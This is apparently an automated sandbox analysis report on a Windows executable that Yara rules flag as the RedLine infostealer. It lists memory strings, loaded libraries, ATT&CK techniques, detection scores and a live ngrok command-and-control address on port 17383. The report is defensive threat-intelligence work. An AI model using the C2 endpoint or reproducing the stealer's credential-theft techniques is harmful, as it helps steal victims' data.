Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateLR
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: kuEfaZxkiY.exe	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: kuEfaZxkiY.exe	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E72000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E67000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E64000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E5F000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E6D000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E6F000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E62000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E6B000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC7000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.ngrok.com
Source: kuEfaZxkiY.exe	String found in binary or memory: https://ipinfo.io/ip%appdata%

System Summary

Malicious sample detected (through community Yara rule)

Source: kuEfaZxkiY.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: kuEfaZxkiY.exe, type: SAMPLE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.0.kuEfaZxkiY.exe.860000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.0.kuEfaZxkiY.exe.860000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000000.00000000.1687162319.0000000000862000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: kuEfaZxkiY.exe PID: 7080, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown

Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Code function: 0_2_00F9E7B0		0_2_00F9E7B0
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Code function: 0_2_00F9DC90		0_2_00F9DC90

Source: kuEfaZxkiY.exe, 00000000.00000002.2945747636.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs kuEfaZxkiY.exe
Source: kuEfaZxkiY.exe, 00000000.00000000.1687162319.0000000000862000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs kuEfaZxkiY.exe
Source: kuEfaZxkiY.exe	Binary or memory string: OriginalFilenameImplosions.exe4 vs kuEfaZxkiY.exe

Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: kuEfaZxkiY.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: kuEfaZxkiY.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: kuEfaZxkiY.exe, type: SAMPLE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.0.kuEfaZxkiY.exe.860000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.0.kuEfaZxkiY.exe.860000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000000.00000000.1687162319.0000000000862000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: kuEfaZxkiY.exe PID: 7080, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23

Source: classification engine

Classification label: mal96.troj.winEXE@2/0@1/1

Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7160:120:WilError_03

Source: kuEfaZxkiY.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: kuEfaZxkiY.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\kuEfaZxkiY.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: kuEfaZxkiY.exe	ReversingLabs: Detection: 86%
Source: kuEfaZxkiY.exe	Virustotal: Detection: 77%

Source: unknown	Process created: C:\Users\user\Desktop\kuEfaZxkiY.exe C:\Users\user\Desktop\kuEfaZxkiY.exe
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: kuEfaZxkiY.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: kuEfaZxkiY.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\dll\System.ServiceModel.pdb source: kuEfaZxkiY.exe, 00000000.00000002.2945747636.000000000100E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ServiceModel.pdb693405117-2476756634-1002_Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Servererver32d source: kuEfaZxkiY.exe, 00000000.00000002.2945747636.000000000100E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.pdb source: kuEfaZxkiY.exe, 00000000.00000002.2945747636.000000000100E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.ServiceModel.pdb source: kuEfaZxkiY.exe, 00000000.00000002.2945747636.000000000100E000.00000004.00000020.00020000.00000000.sdmp

Source: kuEfaZxkiY.exe

Static PE information: 0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 17383

Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Memory allocated: F90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Memory allocated: 2D00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Memory allocated: 2B80000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\kuEfaZxkiY.exe TID: 7164

Thread sleep time: -90000s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: kuEfaZxkiY.exe, 00000000.00000002.2945747636.000000000100E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll]][

Source: C:\Users\user\Desktop\kuEfaZxkiY.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\kuEfaZxkiY.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Queries volume information: C:\Users\user\Desktop\kuEfaZxkiY.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kuEfaZxkiY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\kuEfaZxkiY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: kuEfaZxkiY.exe, type: SAMPLE
Source: Yara match	File source: 0.0.kuEfaZxkiY.exe.860000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1687162319.0000000000862000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: kuEfaZxkiY.exe PID: 7080, type: MEMORYSTR

Source: Yara match	File source: kuEfaZxkiY.exe, type: SAMPLE
Source: Yara match	File source: 0.0.kuEfaZxkiY.exe.860000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1687162319.0000000000862000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: kuEfaZxkiY.exe PID: 7080, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: kuEfaZxkiY.exe, type: SAMPLE
Source: Yara match	File source: 0.0.kuEfaZxkiY.exe.860000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1687162319.0000000000862000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: kuEfaZxkiY.exe PID: 7080, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	2 Virtualization/Sandbox Evasion	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Process Injection	Security Account Manager	12 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Timestomp	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
kuEfaZxkiY.exe	87%	ReversingLabs	ByteCode-MSIL.Infostealer.RedLine
kuEfaZxkiY.exe	78%	Virustotal		Browse
kuEfaZxkiY.exe	100%	Avira	HEUR/AGEN.1305500
kuEfaZxkiY.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
0.tcp.in.ngrok.io	9%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	0%	URL Reputation	safe
https://api.ipify.orgcookies//settinString.Removeg	0%	URL Reputation	safe
http://tempuri.org/Endpoint/CheckConnectLR	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnectResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnect	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/EnvironmentSettingsLR	0%	Avira URL Cloud	safe
http://tempuri.org/	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/VerifyUpdateResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/8	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnectResponse	1%	Virustotal		Browse
http://tempuri.org/Endpoint/SetEnvironmentResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnect	2%	Virustotal		Browse
http://tempuri.org/Endpoint/CheckConnectLR	2%	Virustotal		Browse
http://tempuri.org/Endpoint/VerifyUpdateResponse	1%	Virustotal		Browse
http://tempuri.org/Endpoint/8	1%	Virustotal		Browse
http://tempuri.org/Endpoint/SetEnvironmentLR	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironmentResponse	1%	Virustotal		Browse
http://tempuri.org/Endpoint/GetUpdatesLR	0%	Avira URL Cloud	safe
http://tempuri.org/	0%	Virustotal		Browse
http://tempuri.org/Endpoint/GetUpdatesResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/VerifyUpdateLR	0%	Avira URL Cloud	safe
http://0.tcp.in.ngrok.io:17383/	100%	Avira URL Cloud	malware
http://tempuri.org/Endpoint/SetEnvironmentLR	2%	Virustotal		Browse
http://0.tcp.in.ngrok.io:17383	100%	Avira URL Cloud	malware
http://0.tcp.in.ngrok.io	100%	Avira URL Cloud	malware
http://tempuri.org/Endpoint/	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/GetUpdatesResponse	1%	Virustotal		Browse
http://0.tcp.in.ngrok.io	9%	Virustotal		Browse
http://tempuri.org/Endpoint/EnvironmentSettingsLR	2%	Virustotal		Browse
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/	1%	Virustotal		Browse
http://tempuri.org/Endpoint/CheckConnectT	0%	Avira URL Cloud	safe
http://tempuri.org/0	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	1%	Virustotal		Browse
http://0.tcp.in.ngrok.io:17383/.	100%	Avira URL Cloud	malware
http://tempuri.org/Endpoint/GetUpdatesLR	2%	Virustotal		Browse
http://0.tcp.in.ngrok.io:17383/	9%	Virustotal		Browse
http://0.tcp.in.ngrok.io:17383	9%	Virustotal		Browse
http://tempuri.org/0	0%	Virustotal		Browse
http://0.tcp.in.ngrok.io:17383/.	9%	Virustotal		Browse
http://tempuri.org/Endpoint/VerifyUpdateLR	2%	Virustotal		Browse
http://tempuri.org/Endpoint/CheckConnectT	2%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
0.tcp.in.ngrok.io	3.6.115.182	true	false	9%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://0.tcp.in.ngrok.io:17383/	false	9%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

